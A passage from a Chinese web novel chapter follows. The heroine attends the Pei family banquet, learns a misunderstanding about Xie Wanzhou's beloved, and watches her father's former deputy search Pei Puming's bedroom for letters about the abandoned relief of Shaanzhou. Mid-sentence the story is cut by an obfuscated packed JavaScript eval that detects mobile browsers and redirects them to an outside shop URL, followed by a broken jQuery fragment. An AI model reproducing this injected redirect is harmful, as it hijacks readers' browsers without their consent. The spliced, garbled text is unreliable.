*
暮夏,热风生燥。
裴老夫人的寿宴如期举行。
沈灼华拿着请帖赴约,门子上下打量了一眼,约莫着是见她打扮朴素无华,又是孤身一人,对着她的请帖看了又看,确定没错才将她放进去。
自有仆从领着她从仪门穿到了后花园里。
许是天气闷热,裴家将老夫人的筵席安置在荷花池四周,以假山做帷,分男女两宾。
仆人将她带到了安置女宾的地方,就退了下去。
沈灼华便独自沿着池边漫步,欣赏风景。
筵席的排布错落有致,皆是按照荷花池边的地形设置,有高有低,有大有小,或独席,或三五席案一处。
近有亭台楼阁,佳木匝地,远有满池莲荷,清风送香。
置身其中,倍感神清气爽。
沈灼华不由得对这布置寿宴之人暗暗称赞了一番。
“她是谁?”
“不认识,瞧她那一身打扮,估计还没我头上的一根钗子贵重,想必是哪个穷门小户来打秋风的。”
“真是晦气,这样的人也配同我们平起平坐。”
右侧方,几个华裳女郎正对着她大声议论,生怕她听不见似的。
这样的场合,这样的人,沈灼华前世见多了,趋炎附势,拜高踩低。
只不过前世她是被拜的那个人,如今是被踩的那个人,除了让她有些感叹世态炎凉外,倒也掠不起她心湖半丝涟漪。
“你们在议论谁啊?”有道声音插进那群女子的议论中。
女郎们纷纷行礼:“乐瑶县主。”
沈灼华心头微微一动,转身看了过去。
那些女郎中有人投来轻蔑的目光,指着她的脸说:“我们在说那边的那个破落户呢。”
谢乐瑶望来,见是她,杏眼大亮:“露姐姐。”
沈灼华微笑。
谢乐瑶提着裙裾跑了过来,鹅黄的帔子逆风飘扬。
“乐瑶县主竟然认识她。”
“乐瑶县主唤她露姐姐,莫不是她就是那个传说中的……露神医?”
“听说是露神医治好了谢世子……”
“难怪。”
“哼,不过一小小医户而已。”
沈灼华问谢乐瑶:“你怎么在这里?”
谢乐瑶歪了下头,说:“露姐姐忘了?裴家三娘子可是我的手帕交,这种场合我必是要来的。”
她确实把这事忘了。
谢乐瑶拉着她的手就要去找那些女郎们:“这些人最爱嚼舌根子,走,我去替你教训她们。”
沈灼华拉住她:“罢了,不必同她们计较。”毕竟走在路上有狗冲她叫,自是没有叫回去的理。
“那我带露姐姐去那边,那边清净。”谢乐瑶指了指后院的方向,她对这府里早已轻车熟路,自是知道哪里能避免纷扰。
沈灼华点头。
二人离开荷花池,沿着石径往后院方向走。
半路上,迎面而来两个人,沈灼华定睛一看,竟是苏枕月,她也算是京中名门闺秀,如今又是小侯爷的夫人,这样的场合必是要宴请她的。
苏枕月也认出了她,眼里微微闪过一丝意外。
“露娘子。”苏枕月迎上来叉手见礼。
沈灼华回礼,“苏娘子。”
苏枕月看了一眼谢乐瑶,谢乐瑶淡淡扫了她一眼,并无表示,那眼神……就像是在看一个十分陌生的人。
苏枕月淡笑了一下,便同侍女擦肩而去。
沈灼华忍不住问谢乐瑶:“你为何不同苏娘子打招呼?”
谢乐瑶一脸愣怔地反问:“我为何要同她打招呼?”若论身份地位,她高于苏枕月,该是苏枕月向她行礼,苏枕月没向她行礼,她自是不会向苏枕月见礼的。
谢乐瑶的神情不像是刻意回避,也不像是生气,是完全一头雾水,似乎真的不认识苏枕月。
“你不认识她?”沈灼华越发觉得奇怪。
谢乐瑶说:“认识。但不熟。”
“不熟,你怎么会对她不熟?”
苏枕月可是谢挽洲心心念念的心上人,连谢乐瑶自己都说过,她阿兄为了苏枕月连命都不要了,谢乐瑶见到了苏枕月不该如此漠然才对?
谢乐瑶越听越糊涂,“我就是对她不熟啊,她怎么了?值得露姐姐这般过问。”
沈灼华沉默了。
难道是她搞错了,苏枕月并非谢挽洲的心上人?
“她……难道不是你阿兄的心上人?”
“她?”谢乐瑶匪夷所思,“苏枕月?当然不是啦。”
沈灼华傻眼了。
苏枕月竟然不是谢挽洲的心上人。
谢挽洲的心上人竟然不是……苏枕月,所以一直以来,是她在张冠李戴。
可不是苏枕月会是谁?
连谢挽洲自己都承认了,他当初可是因为一个女人不想活的。
强烈的好奇心驱使着她追问道:“不是苏枕月,那你阿兄的心上人,到底是谁?”
“露姐姐为何对阿兄的心上人这般感兴趣?”
沈灼华讪笑:“我就是有些好奇而已。”
谢乐瑶左看看,右瞅瞅,见附近无人,才附耳小声地说:“她是……”
“阿瑶!”正说着,有人打断了谢乐瑶。
谢乐瑶回头一看,只见小径连接回廊的尽头,站着一个同谢乐瑶年龄相仿的少女。
谢乐瑶顿时眉开眼笑,双脚踮起来冲那边挥手:“阿涔!”
那个叫阿涔的少女快步走过来,拉住谢乐瑶的双手嗔怪道:“你来了也不派人告诉我一声。”
谢乐瑶冲她皱了下鼻子:“我瞧你忙着布置寿宴,哪里还敢惊扰你。”
“哪里就由得我布置,我不过是个打杂的。”说着,阿涔转眸打量起沈灼华来,“这位是……”
谢乐瑶立马拉着沈灼华的手,说:“我来介绍一下。”
“露姐姐,这位就是我的手帕交,裴三娘子裴芳涔。”
“阿涔,这位是救我阿兄的露姐姐。”
沈灼华与裴芳涔见礼。
原来这别出心裁的宴席布置竟是出自裴芳涔之手,沈灼华忍不住多看了裴芳涔两眼,同那个骄纵的裴二娘子生的倒是完全不一样,秀丽水灵,清雅如芙蓉。
“你就是祖母经常夸的那位露神医吧。”裴芳涔笑盈盈地说,“百闻不如一见,露娘子果然不同凡俗。”
“裴三娘子过奖了。”说话间余光瞥见一个人影,沈灼华转眸,目光越过裴芳涔的肩头,看向回廊深处。
那人身姿矫健,步伐沉稳,一看就是军中之人,待那人转头不经意地看过来,沈灼华的瞳孔蓦地缩了下。
齐云霄,阿耶的副将。
裴芳涔说:“露娘子是贵客,不如由阿涔带你入席吧。”
沈灼华婉拒:“不必了,我见这园子里的风景甚好,想独自逛一逛,你们姐妹难得相聚,定是有许多体己话要说,我就不打扰了。”
谢乐瑶不太放心:“露姐姐,你一个人可以吗?”
沈灼华微笑:“不必担心。”
“那我们去了。”俩人立即手拉着手走了。
沈灼华目送着二人有说有笑地的背影消失在长廊里,这才快步朝着齐云霄消失的方向寻过去。
齐云霄看似在闲逛,然而步履却十分干脆。
沈灼华跟了一阵子,才发现和齐云霄已经进到了内院。
虽然她对节度使府邸不太熟,但按照制式,齐云霄去的方向似乎是裴甫明的正房。
果然,齐云霄走进一处正面五间的大院子,这样宽阔大气的院落必是一家之主的正房。
今日裴老夫人寿宴,仆从们几乎全去了后花园和前院里伺候,正房这边倒是空无一人。
齐云霄径直走到正房门前,左右扫了一眼,推门而入,又转身小心合上。
齐云霄为何要偷偷摸摸进裴甫明的寝卧?
她轻手轻脚地来到窗户边,后背抵着墙壁,轻轻推开窗棂,露出一丝缝隙,向里张望。
正好看见齐云霄在一个架子床附近的箱笼匣子里翻找着什么,他的动作很轻,速度却很快。
找了一圈似乎一无所获。
他站在屋子里,鹰隼一般锋利的眸子缓缓扫过箱笼,多宝阁,橱柜,最后落在架子床头间的一层隐秘的暗匣上,那暗匣做的浑然天成,乍一看还以为是整块木板上描着的一副山水画,仔细一瞧才发现画里隐藏着一个无扣暗匣。
齐云霄走过去,摸到暗匣的一个凹槽,扣下去,暗匣弹了出来。
沈灼华的角度看不见暗匣里的东西,只见齐云霄在暗匣里一通翻找,最后拿出几封书信,打开其中一封看了起来。
沈灼华隐隐约约
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252538|134610||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
能看见信封上的字——吾兄甫明亲启。
那笔迹似乎有些眼熟。
为了能够看的更清楚些,沈灼华小心翼翼地又推开了一些缝隙。
等她再抬头看去时,齐云霄不知何时消失了。
心中警铃一响,她刚想转身撤,眼前黑影一掠,一股强大的威压罩下来,脖颈被一只铁钳似的手捏住,呼吸被截断,巨大的窒息感锁着她,她清楚地感受到脖间血管传来的剧烈跳动。
“你是谁?跟着我做甚?”齐云霄杀气腾腾地盯着她。
沈灼华下意识抱住掐着他脖子的大手,吃力地喊着:“齐……叔。”
齐云霄浓眉微舒,手上的力道松了些,打量着她,问:“你是?”
沈灼华终于能喘气了,她吸了一大口气,缓了缓,说:“我们在云麾将军府见过,当时你还抱过我。”
“你是……”齐云霄立即松开手,上下仔细打量了她一遍,“沈家那位小……”他讳莫如深的禁了声,漆黑的瞳仁像是浸在水汽中,簌簌颤动。
沈灼华摇头,满目哀伤:“我不是鸾鸾表姐,我是她表妹,小时候我们经常在一起玩儿,有一次您同姨从岭南回来,还把我错认成过表姐。”
这倒不是她编的,她确实有个和她年龄相仿的表妹,幼时常在一起玩,因为眉眼长得相似,还经常被人误认为是一个娘胎里出来的姊妹花。有一回她和表妹穿着同样的衣服出现在阿耶面前,正在向阿耶汇报军务的齐云霄错把表妹认成了她,还抱着她逗弄了一番。
齐云霄回忆了一下,渐渐想起来一些往事:“你是兰陵萧家的人。”
“正是。”沈灼华已死,再加上她不确定齐云霄的忠心,只能借用表妹的身份试探一下他。
齐云霄看了她一会儿,似乎并未放下戒心:“你怎么证明你就是当年的那个孩子?”
沈灼华说:“我表姐最喜欢吃姨母做的槐花饼,我姨父知道姨母喜欢牡丹花,曾亲自去洛阳搬了两盆魏紫,我表姐最不喜欢的人就是她的祖母,那个老东西总喜欢为难我姨母,还时常吃我姨母的醋,她还……”
“不必说了,你确实是她。”齐云霄连忙打断她。
这些都是将军府的隐秘,只有将军和夫人身边的人才清楚,外人不可能知道这么多,尤其称呼将军的母亲为老东西的,确实只有小娘子她们敢说。
齐云霄放下了戒备,问:“你是兰陵萧家的人,怎么会出现在这里?”
沈灼华瞎诌道:“我二伯婶的娘家和裴老夫人是一支的,这回她来上京省亲,我就跟着凑热闹来了。”
齐云霄了然的点点头,又问:“那你跟着我是……”
沈灼华瞬间切入神情悲恸:“我表姐死的太冤,我姨夫他又……”她欲言又止地叹了口气,“如今已经没人记得他们了,适才在外面看见齐叔,不由得想起表姐他们,就忍不住跟上来,想同齐叔叙叙旧。”
齐云霄面色不由得凝重起来,忽听外面隐约有脚步声,忙说:“此地不是说话之地,先跟我走。”
齐云霄将她带到一处无人的僻静角落。
沈灼华想起齐云霄身上的那几封信,方才只觉得眼熟,如今总算想起来为何眼熟,那信封上的字迹是她阿耶的。
“齐叔叔为何要溜进裴大人的寝卧中?是在找什么东西吗?”
齐云霄说:“实不相瞒,我在找沈大人写给节度使的书信。”
“我阿……姨夫,他给裴大人写过书信?”
“当然。”齐云霄说,“当年陛下诏令各方节度使派兵驰援陕州,以阻止叛军西进。节度使们都想坐山观虎斗,谁也没把新帝的诏令放在眼里。唯有将军,听说了陕州之困后,主动向裴大人自请带海清军驰援陕州。海清军虽在将军麾下,但军权已归到节度使手里,将军想要驰援陕州必须经过裴大人许可。”
沈灼华忍不住追问:“那裴大人许可了吗?”
齐云霄点头,“许可了。”
沈灼华急问:“然后呢?”
“海清军只有三万,叛军却号称有二十万,将军当然不可能带着所有海清军前去陕州驰援,便留下一万海清军原地驻守,并同裴大人约好后援之策,就急急地带兵出征了。”
后援之策,也就是说阿耶根本没有打算孤军前去驰援,而是同裴甫明议定好了后援。
“那为何裴大人没有派援兵去救姨父?”